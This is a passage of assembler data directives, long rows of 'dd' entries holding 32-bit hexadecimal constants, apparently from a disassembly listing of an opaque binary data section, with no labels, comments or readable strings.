2D8050A5h dd 285091BBh, 0F071FE90h, 8B831BC8h, 0D1C4E0AEh, 6A06E64h dd 3C7350D9h, 0D4880047h, 0DDFFADBh, 20B23E26h, 0C7FBD504h dd 30D703A8h, 955BEF3h, 0CE23E190h, 7FA58800h, 170019D6h dd 187147CCh, 1890C6FFh, 485D200Fh, 36350ABAh, 7C40A0D8h dd 0CD330D5Ch, 0C08F98DFh, 24292ED0h, 0E3936F3h, 20386259h dd 16B064FBh, 1D1CAC6Dh, 0E466009Ch, 3712093Ah, 0BEBCCA03h dd 0A36798C9h, 0E069E39Fh, 6347487h, 2DD8D931h, 0A9012864h dd 0CEE288AAh, 8851725Dh, 0E442EA38h, 0E988175h, 18921E80h dd 362C40C5h, 38FF6FC2h, 6B263104h, 78870F2Fh, 83090D80h dd 40F564E1h, 49B28437h, 0F805A9C8h, 78C41413h, 18BA8618h dd 44288378h, 367EB894h, 0DC0D847Fh, 20C4056Dh, 0A0DC6EE2h dd 0F406C5D4h, 0DDE0A8A6h, 4C77777Fh, 13C4286Dh, 6898005Ah dd 4C97D22Ah, 321274DCh, 793041F8h, 3615D923h, 32E11690h dd 0C41E1C24h, 0D0AFE68Ah, 1473150Ah, 0E4499992h, 2878B023h dd 8B3614E3h, 3500AC08h, 7EF0B9B1h, 0DE5C8CDCh, 322103DAh dd 0C68BDB68h, 245872B0h, 0AC58EF64h, 45B01320h, 83D7E2D0h dd 0F030452Ch, 0AA0EE809h, 144EE83Eh, 881274E0h, 0D647A962h dd 0D9571064h, 6E48141Ch, 50AF2410h, 82041209h, 4ABFFB74h dd 7E6480A4h, 69830E7Dh, 0D08AD06Dh, 313835D2h, 45AD33D4h dd 0E440378h, 103EC767h, 0E16D88AAh, 87AF0A18h, 0A4683Ch dd 0E6FBEED8h, 0B80FA62Ah, 92574061h, 1F0B411h, 0B775789Bh dd 1FDD3753h, 60F50EDCh, 0E00F6033h, 14B17665h, 4745F0A6h dd 0C0EE3422h, 0DED3EFE4h, 8215E011h, 4044C72Fh, 750F7918h dd 814EDFE7h, 494A6D31h, 678A2892h, 0B3A2C33Ch, 2595A019h dd 8831A8F8h, 0C7F4824h, 71940E73h, 0FA49BEA8h, 0DC362C44h dd 0FD21E244h, 81608348h, 0DC718017h, 4247F4CCh, 0BED914D1h dd 0B2DB20E4h, 0A32D258Ch, 30BD1411h, 0AB3A8B20h, 834B06FAh dd 64876AEh, 400DEA23h, 0C2195803h, 1110DFA3h, 6DB0AA00h dd 68CF1030h, 17C73FD0h, 20A20E82h, 0A86D2178h, 0A720F264h dd 20DFC4CCh, 0AE0FD637h, 324B8379h, 0A0EAF44Bh, 0F37BF9F4h dd 48DD7810h, 0D75B583h, 8842DFC4h, 9EA84238h, 30E01838h dd 2D2041B1h, 0FC07111Fh, 0F28F304Fh, 31BEFF81h, 0A50AD8h dd 0E297BFBh, 13E8493Bh, 1839FC24h, 61D1B00h, 5FCE2Eh dd 80707DA6h, 62C82524h, 77EF18EAh, 0C385138h, 4082F6B4h dd 68C9DF4Ch, 8981831h, 150058FBh, 0F55FE730h, 0A3E60B04h dd 8814AFABh, 0BA2CCA3h, 1D6CC61h, 0D9022FE6h, 0DF2EF066h dd 0F0876CB8h, 9882BC2Bh, 0BBE44908h, 281D4073h, 0A0D7986Dh dd 8C3AA192h, 0C7020E94h, 2023A9FCh, 9BDA8ABCh, 0B43E492Ch dd 13EC0F83h, 0D46A9800h, 0F0B7A791h, 0E9700169h, 0A30E8B7Fh dd 0A52081F7h, 0BE6F9839h, 6A0800DFh, 8A6C90DFh, 0FB1D2EFFh dd 850B4CBDh, 991024C2h, 6D846056h, 78C09E5Eh, 37AE7476h dd 8A604F9h, 0D3738F4Ch, 0B01C220Ch, 8B4B415Fh, 0D382234h dd 0A064E839h, 2DA748Ch, 1B177DF6h, 70407FA6h, 69D2FA02h dd 127C3891h, 216D3801h, 5B789FC9h, 287FF10Ch, 816000E8h dd 2A18D52Bh, 9514DF0Bh, 24CC2517h, 582C64A8h, 822D163Ah dd 68E0CE02h, 0E4C88078h, 1A27977h, 0BD2A5AC0h, 20AF2788h dd 15741D14h, 83CC6804h, 7880FA90h, 0A2120D2Bh, 178410E1h dd 0A23D901Ah, 369861D4h, 82EB5C01h, 0E26D3030h, 4B486AC6h dd 638CE204h, 0B084B828h, 76FB7039h, 60ED0147h, 0EA0E7EC5h dd 2F130021h, 0A71C14DAh, 0A6038246h, 0B0C76D63h, 7E6C4000h dd 6BD0C9E1h, 0A79400D6h, 2B58D781h, 83003DFDh, 65851804h dd 986D8034h, 50C2F45Fh, 0F46A443h, 0A3B7F986h, 0BB2A0BC0h dd 8E4C2554h, 382020FCh, 14310DE5h, 21721088h, 0FAC6474h dd 904E7E25h, 5DC38BF8h, 230BB4DEh, 4CAE896Dh, 0E526B240h dd 0A5F2D95Dh, 0DD82270Ch, 13298016h, 48EA5C6Dh, 9458334h dd 0F2BBC4C1h, 18209071h, 0AD0D10DEh, 0C61617E3h, 0DDDF0042h dd 0DBE080A3h, 0CABF326h, 57380E05h, 36737228h, 7290D458h dd 1D109E01h, 0F683A60Ah, 0EDFCD0h, 2A356D87h, 188B23D8h dd 2E101E48h, 0FF04CD98h, 64C4B4AAh, 0C4281C8Dh, 0B00F6D84h dd 26249444h, 0D4AC7405h, 1F8C088h, 19D3480Fh, 6099F97Ch dd 0F07AC2F8h, 7F20161Eh, 3F088514h, 0BB111726h, 30669448h dd 0E924DF0Eh, 6CBFE0C0h, 102C0A7h, 0F3DE7479h, 0D947F48Eh dd 2584C0B5h, 0D16BF107h, 0FE706794h, 22F1115h, 832C788Ah dd 78500214h, 0E020AC82h, 152197AFh, 9231200h, 0D46B8569h dd 78257C94h, 0D2E20748h, 490E371Dh, 0DFDE4420h, 90C0E8F6h dd 0FFCBBEC2h, 5A240E58h, 0C832F0E0h, 0E090477Ch, 952DA31Ch dd 85481340h, 1C8182Eh, 0B1237FF3h, 23BC146Dh, 52CA0388h dd 0BB8183h, 660D37A8h, 7EDDB623h, 0ADBE2B01h, 45FBAC2Ch dd 1481060h, 9307E8D0h, 64490E06h, 581309B8h, 0C82026E2h dd 301771h, 6484E983h, 958F44FEh, 3252A12h, 6C730D8h, 40838D8Ah dd 243A1072h, 0D250D815h, 6D827CC0h, 5CA0C01Bh, 1F5758E4h dd 14956700h, 83636F47h, 2F89C54h, 2833D579h, 158B0840h dd 0B42E7F03h, 1FFB6583h, 34E62DA0h, 4D4B3D8h, 0F55E5645h dd 0E9A82CC0h, 15580F6Fh, 9CA72DFAh, 0B8B4C083h, 0E7FC4CA5h dd 5CC50D18h, 968EE1A0h, 839B44B8h, 12F9F850h, 80F3E12Ah dd 6EC95D10h dd 83E89534h, 680C2842h, 0E2401C28h, 0E73E8380h, 0FCAA58A5h dd 32FE8870h, 6DDC5A07h, 44C0AED4h, 0C4E3297Fh, 1C7A3020h dd 81023464h, 8B449F83h, 7C2C0D8Ch, 0B8B50C20h, 8DE5C70h dd 22441B88h, 88AED8C1h, 6CC8F444h, 746F0183h, 0CE176708h dd 0E39C7061h, 0DC0F2010h, 0AF12A507h, 1B018394h, 14B04878h dd 70340B31h, 0BC3D7EA7h, 9C545C24h, 0B0168036h, 2D1B1ABBh dd 646E4713h, 16E2F408h, 0BD3C0617h, 6920D8EAh, 0D57106F2h dd 11900F97h, 7AE28219h, 9F2C4858h, 85355A00h, 1C8C0970h dd 89C7FC3Dh, 27E128Dh, 505D0E4Ch, 4CDF16DCh, 85488827h dd 0C7F44903h, 869B6DFFh, 146096F8h, 292DA4E2h, 6D243082h dd 20037BC3h, 0DF229327h, 0B9BCCF84h, 28751E87h, 7CC08316h dd 15EA3C54h, 0F085E8EAh, 0A00A234h, 0BCC80B94h, 9DE81B99h dd 7809E050h, 7A892E0h, 0A723C896h, 38F0666Dh, 0DB70820Fh dd 0CC17AF93h, 0F85FE085h, 18049879h, 61FEB86Dh, 868A2633h dd 0F9206010h, 9CAECAE8h, 0B038A7CCh, 0D7FC0DE0h, 0C810E0E5h dd 0F8D2EE26h, 13A0C31Fh, 30E422F2h, 17070D20h, 0C64C845Ch dd 21F8F6h, 0B0828061h, 73171AEEh, 902FA626h, 30F11400h dd 7C88AB9Eh, 0C71628F2h, 81C20028h, 25FD1CA4h, 4731E06Bh dd 0D83581Eh, 4A96DDE0h, 70034A7h, 97DA7290h, 62CDF02Ah dd 13E88385h, 0D92BF0A0h, 3A01B67Fh, 1AFED5FFh, 242D8B96h dd 41284448h, 280D2510h, 1624C085h, 1A8C00C8h, 0A82375DCh dd 0E831AC9h, 0A1A8DBB8h, 0F8D0D624h, 0F1F5320Dh, 0C079DA38h dd 2D79514h, 2B80DDFAh, 800C89B9h, 0A0FCF4C8h, 581FCBEh dd 0F089034h, 0AB63C057h, 14012C20h, 0EF216F48h, 18804210h dd 0A84D0553h, 0E255D17h, 0C69024BCh, 7A13F8C1h, 6A10F468h dd 5304C78h, 7EF1EE1Ch, 0C2ADFCC3h, 2A088074h, 2EC4BEh dd 83DCC6FBh, 33364BB1h, 0A8761028h, 11482549h, 6F177477h dd 0EC408924h, 68C395C7h, 0D90E6AE7h, 90829BC9h, 0DEAAF22Ah dd 6D208850h, 0A5C50E5Dh, 364094DDh, 0BFB095CAh, 0A64CBAFCh dd 40CE9D30h, 8B1F00DBh, 0B62B8Ah, 0E475C7B5h, 13772415h dd 0C30CBF02h, 0E9B3FBCFh, 0D040AD4Ch, 3602150Dh, 0C0A12789h dd 3F1022F1h, 991DBB2Eh, 8E6A870Dh, 90B69054h, 7BA83C54h dd 0EF041E06h, 0FD580B9h, 4680DFA2h, 1D09BCB2h, 6CF8C1E3h dd 0D32E1F40h, 2E7976Fh, 0EC895E13h, 3440C8CAh, 0D84C248Eh dd 724500FDh, 0C8DB2E12h, 0FE98B0EFh, 0E1262FAFh, 81DC6422h dd 67D03043h, 4403EF48h, 5975AD66h, 5130BF82h, 78026220h dd 846E5C7h, 284D011Ch, 8A525841h, 5C2FCE2h, 56020162h dd 2A0680BEh, 1B345EEAh, 632250Dh, 1F300D7Bh, 53C42588h dd 31BB7AB3h, 8212264Eh, 4F6FD4CBh, 0F30E7A76h, 0C07E7068h dd 158CD88Ah, 0EA580C25h, 0C32F6A42h, 773EC803h, 0E9D48ADFh dd 1A8E5432h, 56A15157h, 0C56A0B69h, 1948F85Fh, 52EF37C0h dd 7634FC29h, 8E0D002h, 6C2F0C60h, 5E3F2A8Fh, 0B103BD84h dd 0F719B835h, 0C5B087C3h, 28585405h, 78ED82h, 0BC251D8Ah dd 46B565A6h, 0EA18E0F0h, 291E4953h, 305C78F9h, 5A10A3C5h dd 56F0C42Ah, 254FD61h, 688A8CF3h, 62AC582h, 0B53E4DEAh dd 0DD9EF300h, 0D18AEB7Fh, 2649005Bh, 31082AAAh, 6FF755EAh dd 377896B2h, 60101103h, 89D935C2h, 2D59C40Fh, 52C37D8Fh dd 7E33EAh, 9FB55122h, 0FFDBCD81h, 0ED3AC575h, 0F74CF86Eh dd 6C037919h, 58CE289h, 53610025h, 0CF2D67B7h, 5400F129h dd 0CC81DBB4h, 48E4D187h, 0EC382EF7h, 0F249EA0Dh, 3F8F17E0h dd 9BF57E0h, 180C145Bh, 0D05BB53h, 4D77B2Ah, 695FF402h dd 8A08924Fh, 1334FA8Ch, 0E273E14h, 3FE607DFh, 0F7633639h dd 7695E32Eh, 7DC70818h, 6A315D4Fh, 0E7F07183h, 0DC7C182Dh dd 31DD1851h, 8A684100h, 0BC545FF3h, 0F84603FBh, 0E971EA0Eh dd 1857AE30h, 0ED5F3731h, 182D4F8h, 0FA5C3BCCh, 0E0E4D24Ch dd 8002DAECh, 41EACA81h, 88BF9A05h, 5362E14Bh, 0D320586h dd 0ED063481h, 0C1C54720h, 0E206E7C1h, 7A42EDC3h, 0FC34331Eh dd 0D066032h, 0EAC30A5Dh, 8F48302Ah, 1CCA44FBh, 0BF90A4CDh dd 4A689C92h, 2026C71Ah, 8806819Bh, 0C68C3420h, 342D8A3Ch dd 1B06AF20h, 5D2FF369h, 0E7482673h, 0E87E19B9h, 6CBC90A0h dd 2663EC18h, 171D9136h, 0F1405E09h, 32D1223Ah, 0FEA18C7h dd 25C224Ch, 0C337CE78h, 78001041h, 33679E1Dh, 9D4E1159h dd 83E07CF9h, 0E38A5360h, 4909C957h, 0DE75319Ah, 871440B3h dd 1020295Dh, 0D652DC4Fh, 0F85CA71Ah, 8D3DD1B9h, 1684E8D2h dd 0BA4861E2h, 1C094220h, 81B95135h, 0A6E7A59h, 0F28530C2h dd 825DFF3Ch, 8CD0027Eh, 8D1450Dh, 5E005B32h, 49F7BA52h dd 0E94150E8h, 7218D47Ch, 96F65D01h, 0F5D20245h, 0C7DF5621h dd 20C9A93h, 0E35EEC6Dh, 33117A21h, 0C0737F0h, 42A459E0h dd 0BEA510Dh, 0CA220C12h, 0A8488DFh, 2689591Dh, 2D2E2480h dd 0E0EC0289h, 0DFB6AC6Eh, 0DE3E0A67h, 0CCBB01ABh, 0E89016C1h dd 49997385h, 0F10FFB00h, 61D4025Ah, 14EA065Bh, 0C9CD9436h dd 399420C4h, 0CB13DA89h, 1C83045Ah, 0E3810364h, 2EB9997h dd 0F2A6F3D8h, 0EA1409C4h, 0A9239044h, 28C103C7h, 0DE2A0108h dd 0C09E0EFCh, 825AC90Fh, 4618A6C4h, 0B30C7629h, 11DB0460h dd 9138B4EAh, 332D136Bh, 37347D28h, 8583DADBh, 0AA6DCEDAh dd 0B8D1800Bh, 1DC8FF3Ch, 281E0F7h, 0FE1BEAB6h, 8D040F6Ah dd 0C2811FDDh, 67C92911h, 39580F25h, 7AF924EAh, 9254673Eh dd 0A0A33263h, 292903C2h, 5A0EBD52h, 80CD7490h, 0C9BF1067h dd 3E623669h, 0E1E61E49h, 0C0646D91h, 24F9248Ch, 6AF92E60h dd 1DEA8B98h, 0E262902Ah, 32059BC8h, 2AAFDA0Bh, 3004D4Ah dd 8A57280Bh, 585E00E9h, 756582C0h, 0E076F806h, 7449C800h dd 0F0C24203h, 0EBBAA109h, 5D2AC523h, 56918B9h, 625A6F6Fh dd 1E193680h, 8C4FF45Dh, 0DACB52DEh, 0B5ABE3EEh, 0C489B2D1h dd 0C1145AD0h, 28C605E8h, 41EBB4Ah, 0EA1DFA01h, 38055C56h dd 0E80667A4h, 0AC3EF3CEh, 69BEC2ACh, 9899378Ch, 11D8B4EAh dd 3120DD19h, 5A24E663h, 8252C209h, 352A9A40h, 5C093412h dd 3F073610h, 0E8B2D154h, 612C260Fh, 3E3E2159h, 0EA4E0577h dd 0BC283FCBh, 51531867h, 358E5EB1h, 695B4CC1h, 43513F2Eh dd 8E57B5EAh, 9FC2FEFh, 2EF6233Ch, 29E1917Bh, 9A9769E8h dd 2C8448B7h, 4B542953h, 2BEB154h, 55BC7FE2h, 0CC240FC1h dd 3098AC45h, 0C1A1116Eh, 617A6327h, 4EC4DF73h, 0E4001214h dd 0E9575239h, 0B9805027h, 8BE50388h, 0C4832404h, 0C8C5B0A7h dd 0EDEAD528h, 0E8E05AEAh, 0ED665928h, 0B0506E00h, 58C2080Ah dd 4DF20780h, 8EFEDAF6h, 2CA0EAE1h, 43D0C168h, 627004EFh dd 241C890Fh, 0D5CBEB3h, 812CD80Eh, 148B665Bh, 59FCE0F6h dd 19C15181h, 91020C90h, 0DEE90C25h, 76C71762h, 12D51FD9h dd 24AF1D5Bh, 0E6898F81h, 871AC6EAh, 11FFF18Ch, 0C524D25Ch dd 2328E89Ch, 0FB011EC3h, 5BDE995Fh, 1B03FC31h, 56120729h dd 0B12474FFh, 9B26D7E9h, 0C1448B1Ah, 10A63829h, 0DFEF1E26h dd 5452042Ch, 4576845Ah, 4D82203Fh, 0ECCE834Dh, 94DEF094h dd 0F7D768B7h, 76DDAAA3h, 0E26935A9h, 0D500010Ch, 0EC395256h dd 85CA6D75h, 6841D91Ch, 0B4547CAFh, 0CCB4E400h, 0A058E228h dd 0E45A66C4h, 550D0668h dd 56DCACE9h, 5EF70107h, 7230CF81h, 26C160D2h, 32008EFh dd 1B1133A9h, 2E9FEEF8h, 0E91C0106h, 98644347h, 335200B9h dd 0F181320Eh, 1D3B3E4Eh, 0D0C90065h, 0E9355D55h, 0FD4DE9C6h dd 102ADA98h, 3B0F63B9h, 6AC1782Bh, 4602B905h, 0C02C7B61h dd 2C22542Dh, 303C21h, 4EDF5E76h, 0CBFCD3F7h, 0F155BE0Bh dd 283B0046h, 5690531h, 0D5E9D909h, 89B15D8Eh, 102088E3h dd 0B069B7C3h, 0F4F3EFA1h, 1AC99350h, 68782166h, 0A7A04120h dd 18E5E6DEh, 4164ADE9h, 144C7CCDh, 0C50776EAh, 39212F4Ah dd 1ED4E5C0h, 0F518C09Dh, 3AF22B7Ah, 0E9E88905h, 0FC4033C4h dd 2434FFF8h, 0A490B05Bh, 89571207h, 95E10E7h, 0C3EF831Fh dd 5C243C87h, 9A1414FBh, 0C1E97223h, 0C28881B0h, 0FDE9B984h dd 0E01E91EBh, 9447EA05h, 4BDD08h, 3026EE80h, 0F60E5AF3h dd 23B551DBh, 55E785E9h, 33442244h, 0D2091E12h, 0B974845Fh dd 460C289h, 7E0C628Bh, 9E285h, 4B8C3E1h, 26167C91h, 8129716Bh dd 0C1805BF9h, 760680F5h, 0B6525066h, 53E924B2h, 2072A887h dd 3366FD1Ah, 0DF06315Ah, 0CDEE0Dh, 3BCB15F8h, 946851E9h dd 84A2AA36h, 7ABBF780h, 65D85F81h, 590CCA48h, 53E14C13h dd 11B3E910h, 3CA8583Eh, 0CF873F0Dh, 375DC012h, 0D36D8405h dd 4D56548Fh, 8A0690EFh, 5C1ADE87h, 0D1A8859h, 0A524CC34h dd 3B7F6BC3h, 31125D0Ah, 903544Dh, 43375726h, 0BE248F5Fh dd 0A13945Ch, 30F1B55h, 0AD685A53h, 0A0B36336h, 82C8152h dd 7E12DA28h, 7F6EE0Ah, 8215E913h, 0D4CE0F07h, 0E8A72551h dd 4F59BE00h, 1885F781h, 0C37241Ah, 7F06055Ah, 74D2E91Bh dd 42C70038h, 0DA63F630h, 0B8775022h, 0D001D1C0h, 54A1E952h dd 813C8306h, 20693166h, 0EDACE3Dh, 0E0589BDh, 7ED56CBFh dd 68553E53h, 4847208Bh, 51CA00F5h, 15E4EA04h, 0B31F17E9h dd 0EE1F102h, 3442036Ch, 0AED1A027h, 49738FE5h, 8BAFDA84h dd 34318645h, 9491FABh, 16C94A4Bh, 42C3275Fh, 6D95615h dd 0E2D1C209h, 5A8D20E4h, 2BF2A590h, 0F4DD80A9h, 0C992FCFAh dd 0B0362290h, 509533h, 0A32116BFh, 51EF810Eh, 54121714h dd 6AE004B4h, 0C4C06CE8h, 61F10C5Ch, 6F79183Bh, 0CDD331F9h dd 408C665Fh, 6ACFFEA9h, 0D7F7A35Eh, 5BC3C487h, 291612EAh dd 627C50C3h, 6E3C181h, 0DB09A84Bh, 0F149DE09h, 624D0017h dd 10F55868h, 246AA5E9h, 0ED6070B8h, 1E95345Ch, 39C5017Fh dd 341C0851h, 63EAFF83h, 0BA8F40C2h, 0F5D4545Bh, 79ED1668h dd 0EA5F25E7h, 0A9307C13h, 0F6C8AF0Fh, 5D764C22h, 2010EC94h dd 34680A0Ah, 12A4AC3Ch, 6B67B902h, 90E889D1h, 0D652EFABh dd 0BADA00B9h, 0EA019322h, 25A5D48h, 1EFB77D0h, 9B74C057h dd 0BEB05960h, 0F8295E05h, 0A088005Fh, 8155922Bh, 0D725EA0Eh dd 0D031C036h, 0BB1ECEE9h, 7C6D0C01h, 1F90E8F9h, 73E233E5h dd 7CA1E24Ch, 17CA0188h, 5180E959h, 28879C23h, 845267D8h dd 62CE834Bh, 0FBAA59CEh, 4D1A970Bh, 7D10238Bh, 0E914DF01h dd 7DB2FB76h, 597482C1h, 9EF03093h, 0C633C567h, 0EE1F0001h dd 76183B52h, 4D47A0C1h, 9AF333C9h, 204A6193h, 0B11996C8h dd 0C4B62096h, 30D5396h, 998CEB80h, 69CB4C3h, 0E90D3B95h dd 86F23Fh, 0C95E1CAEh, 4E6E7E60h, 24442B53h, 94C0D6E9h dd 0F717C931h, 652C09D2h, 76AED9Bh, 0E9E12D74h, 3247960h dd 7D014CEBh, 3B9926D2h, 9C69D2A1h, 1944E3E9h, 79811E73h dd 0EDC868FEh, 0DA99A029h, 6C682EEh, 0A26CD52Eh, 9DE95461h dd 5C5A8253h, 95940CD2h, 1F1C4810h, 47CA052Dh, 8F1EEE0Ah dd 35379820h, 518740h, 6510BA07h, 3129129Eh, 94085854h dd 77033C32h, 58669D1Ch, 86481193h, 0D2BB1095h, 0F7018E48h dd 77DE1BC1h, 50F83457h, 13A2302h, 530E95E9h, 32F8B50Dh dd 686EB1Bh, 31492433h, 711F10C3h, 188B213h, 3057B0D0h dd 418AA9C2h, 0B17DC820h, 7E1C01Ch, 0EEECE9DEh, 6C245E1Ch dd 9C49EF28h, 0FF337E8Fh, 485C0B75h, 0A492EBFh, 14811950h dd 82C0B60Fh, 5819873Fh, 9F4427F2h, 3B0BB31h, 75BDA01h dd 2C2FBD55h, 0CC0329B9h, 278763A7h, 0C2086B29h, 15D0108h dd 74875AD1h, 0F91FF723h, 68055455h, 0C93460AFh, 17C2EA00h dd 2463523h, 19CDBB53h, 93622EC9h, 6BEB9E00h, 0C4125D77h dd 0F708DE29h, 0DE5C154Ah, 0C825583Dh, 0E3D12A02h, 7AC111C0h dd 0C4330181h, 24B9878Ah, 0F168841Fh, 63E90249h, 0A8274846h dd 17AD0930h, 0CF01E801h, 80B14229h, 6DEFC18Eh, 60F77E5Ch dd 216310D9h, 838A453Ah, 0CD806F25h, 97D7482h, 2516BF82h dd 0D1912E14h, 0B53164FEh, 21118B5Fh, 9C91A9F8h, 1154A384h dd 100745BEh, 831F4339h, 269AF4C1h, 5F0496DEh, 1820C70h dd 9848EEC1h, 0E2A39005h, 377C2702h, 49F3F12Ah, 0B7CB07DEh dd 46A09296h, 28F08CA4h, 805C148Bh, 804C22C0h, 5D73EF89h dd 4EAFA4Dh, 27A11745h, 0F2813AC0h, 4F570216h, 507AE922h dd 534E756Ch, 0D60A5D64h, 283DE583h, 0BA01CA5Bh, 0F77F9939h dd 8821C1D1h, 0DD84F482h, 1C40CC9Ch, 0D095E3Ah, 8CB0120h dd 633108C2h, 61833EE9h, 0C725DAB9h, 5CB04CFEh, 0C0707F58h dd 175A6850h, 2C327E70h, 93AAD36Ch, 0F4F0451h, 0F3BA003Fh dd 3D056765h, 5E09E281h, 0D7840CB2h, 830985h, 0C1D0F7B4h dd 750348E8h, 7FE2B001h, 31D8319Dh, 652BACCBh, 0A991B528h dd 728F5D0Eh, 56AA5831h, 55786B73h, 16549280h, 5EDFBC2h dd 50EE005Bh, 5ADCACFh, 0AC3E8913h, 2DD05305h, 0AB040712h dd 0C4D4F0E9h, 3EDAC01h, 31ED058Fh, 0A64CC22Ch, 0C05A5484h dd 0F61DCD01h, 2CC12833h, 6B3CC081h, 0C2A6038h, 0AB42DCBh dd 0E5C1450Bh, 25E8B08h, 0E2BEEFCBh, 5DDBA402h, 848C6B99h dd 216F1DD9h, 57CFF967h, 8C4903C5h, 0ECE70859h, 496B8401h dd 0E5255875h, 82730960h, 70CDC902h, 8881B500h, 685924E8h dd 84932528h, 0FAE9C7DBh, 550E345Bh, 13BBE5F8h, 1352CD92h dd 6809238Ah, 5364343Ah, 5C00D485h, 0E9C9CA80h, 8F39C78h dd 0EA01F289h, 48433B77h, 21120C81h, 214A09C9h, 0E9DAC887h dd 0F413DC4Ah, 56B2C064h, 0FAC4D4A6h, 87B4144Dh, 394F13C7h dd 6EDC1A3Ch, 0DE0C080Ch, 58141E71h, 245F525Bh, 84C9335Ah dd 1ED2D01Eh, 0A89C66EFh, 0BB021A31h, 0BEAC308Ch, 5C137837h dd 0FCC0D11Fh, 5470F94h, 8BF329C1h, 0D0A62434h, 229AE97Bh dd 855E46CBh, 9B8A7E5Ah, 579D611Fh, 0E20821F4h, 0CB9B2057h dd 2EFA011Fh, 19402392h, 0E468C831h, 0B02CB119h, 8EA8E930h dd 543EDAA8h, 1AA50191h, 153282E4h, 64AC076Bh, 0BA77D34Ah dd 0E5F5F770h, 0CF0C244Fh, 2959CEA9h, 28CF90B9h, 316D9033h dd 71600D06h, 0E86880F6h, 4B7A2C1Eh, 0B8824193h, 90E2925Bh dd 5DD3661Dh, 8210390Ch, 0DF5F2ECEh, 4705E03h, 2E38E155h dd 8DFDCB98h, 2180835Fh, 5D13C8E8h, 0FC00B80h, 0B93F2F84h dd 0E925B06Fh, 0EBC23AE4h, 40E871B5h, 7E03EAD9h, 0D9D7E451h dd 0E007127Eh, 77C90988h, 0C62D80DEh, 7E7821A6h, 0E307341Ch dd 602F252Ch, 66B7689Fh, 0E3E6BFA6h, 5085558h, 23374975h dd 322703C0h, 0A0EB0AFh, 9224E9D6h, 2218BDDh, 14810219h dd 698CD21h, 3ED95C29h, 492C29F3h, 6E952EF6h, 5948E1A0h dd 42DA8965h, 22DF71D9h, 4A681205h, 68468979h, 4C5A8441h dd 17DF0215h dd 1204989h, 0B60CF80Bh, 0F33B81BBh, 185D16B1h, 0B3EBA380h dd 0EC7748C9h, 14DEF12h, 0DF01153Fh, 9A386055h, 1D317800h dd 17590558h, 2D6C1E2Ah, 51BDBB73h, 3EBCA0Fh, 0E9C58961h dd 453268F7h, 67C631B7h, 0FA71501Ah, 31EAD964h, 626CADF0h dd 50E7DD3Eh, 10F3571h, 206EE5C7h, 6BD78D90h, 31691FA1h dd 4A2709CEh, 343C9349h, 544D579Fh, 31552DD7h, 479D527Eh dd 792C8B45h, 31482612h, 4882DC21h, 0C0B5F8Dh, 0CA2935E5h dd 6681413Ah, 0FB93BE57h, 152E4CCCh, 365B0D13h, 0DC93EA17h dd 8721ED64h, 960C382Ch, 57D0C14Ch, 0D55A0BBDh, 510F2E01h dd 87600B89h, 17EEC331h, 0DE41584Ah, 1CBB3085h, 5C093E62h dd 0CC06C80Fh, 0FE076B14h, 5AB753C1h, 4CDA13A3h, 82059B60h dd 0C719B22Dh, 1504D2F4h, 838F4073h, 0E95998EBh, 3CF4678Ch dd 0A1596558h, 1564D21Ch, 0B5B65203h, 151CEFEh, 0D7F6AC6Eh dd 0D54EEF80h, 5CE7D4DFh, 14C7FE34h, 0F5F4EA06h, 5B592C50h dd 0ACBBCF76h, 0D0880A1Dh, 58C32841h, 87CBEB80h, 0E904B96Eh dd 0A39158F2h, 0D0218417h, 6B72C281h, 685A5804h, 0F78D35A0h dd 4153CA48h, 5DA738CEh, 5277C1Dh, 0D892054h, 0C85B5A45h dd 0F053420h, 8294C8B6h, 74A1FF80h, 43192488h, 35A72AA5h dd 817A6F3h, 57095BA1h, 964FC446h, 5651421Ch, 8706DA58h dd 591A7610h, 62ED00D2h, 0D12D4398h, 4E007B5Dh, 0D07E0C1h dd 1FCA7D03h, 0C0D8F741h, 15BEF076h, 2D96C131h, 0B8C88950h dd 0E396B47h, 83270C6Ch, 0E94F90C0h, 9A2C55DBh, 0BA320070h dd 0C6013DDCh, 6A268F4Ch, 12E12BDh, 89224190h, 577DE149h dd 7EC1B0A4h, 1460FB30h, 0FAA87CC2h, 38297C58h, 0B8C843E9h dd 0BD247C94h, 64610AB5h, 7F300FEh, 0C8297B47h, 3E4F5948h dd 427897F7h, 74F9E101h, 0F0704DC1h, 0CBE3B804h, 9A0AE88h dd 0C586EC30h, 0FB68660Eh, 0AB209711h, 0E8D3F6C3h, 0E563FDD8h dd 0C530020Eh, 0F408E84Dh, 0EB728853h, 0DC78E574h, 517A43B8h dd 0CA09E17Ch, 8F648A59h, 0D185F3B4h, 0B0FCA40Fh, 56D03113h dd 60961D70h, 4DCE8102h, 7866320Eh, 0E62170B1h, 71E9EC29h dd 66C192E1h, 0D65D38F7h, 50D054Ch, 0D1A687D5h, 6BE94DA0h dd 88B67C9h, 612FA32h, 64E04F41h, 0CE14931Bh, 5BDAC21Ch dd 95A37434h, 2ED62910h, 9449AF34h, 0B5B28h, 19ABA26h dd 8FF46E27h, 0CCEA6F4Ch, 0DD313233h, 69D4AE06h, 59399CCAh dd 90DE4483h, 41B5E97Ah, 6F048DD2h, 61163994h, 3C5053F9h dd 0A1B5C033h, 28F6C5FEh, 1C99C0D5h, 0E87DCD80h, 0EC8803E2h dd 5CB25259h, 0FCF3C2E1h, 46B030C4h, 40FE6041h, 7A8743CEh dd 32D77DFBh, 0F09D0BDFh, 561C1360h, 508BD8B9h, 7FD983B4h dd 0ECC11682h, 22003102h, 0FF18A108h, 9CCDFA17h, 1D9E1E20h dd 81223218h, 0B77A5FF6h, 0C3082014h, 77C80219h, 0BFD81818h dd 0F3012CF2h, 45DE0DD1h, 4C1A3656h, 58B41631h, 0A230C1D9h dd 0C186B48h, 76D9F433h, 2C202B72h, 0B92AF168h, 302A41Bh dd 765FE953h, 6EE11725h, 975199B1h, 3D7C9D0Ch, 4BEC88C5h dd 84F17392h, 0DEFE9E1h, 6685946Ch, 5467A429h, 0EC81C940h dd 1D2B0DE0h, 0FD815E0Eh, 59C93484h, 598042Ch, 0FECB971Eh dd 0F659147Ch, 0C0E3AA56h, 0F013ADE1h, 5E517C67h, 1120244h dd 0C0E159CBh, 0C410A90Fh, 98EAD3Ch, 988FE632h, 0B156575h dd 0EB520302h, 44823445h, 40E50170h, 0D9215808h, 70795B4Ch dd 0A1A77794h, 36E468A5h, 0C9EE538h, 0E25F6AD2h, 86FD4852h dd 71C85558h, 0A0C49050h, 4C7AA9E3h, 0E350F875h, 7ED725E9h dd 0ECC65F66h, 7AAE423h, 0F580EDD0h, 15AF3EECh, 2E1690A6h dd 8B30AC26h, 0C8B521Eh, 5852EBF6h, 0E8003062h, 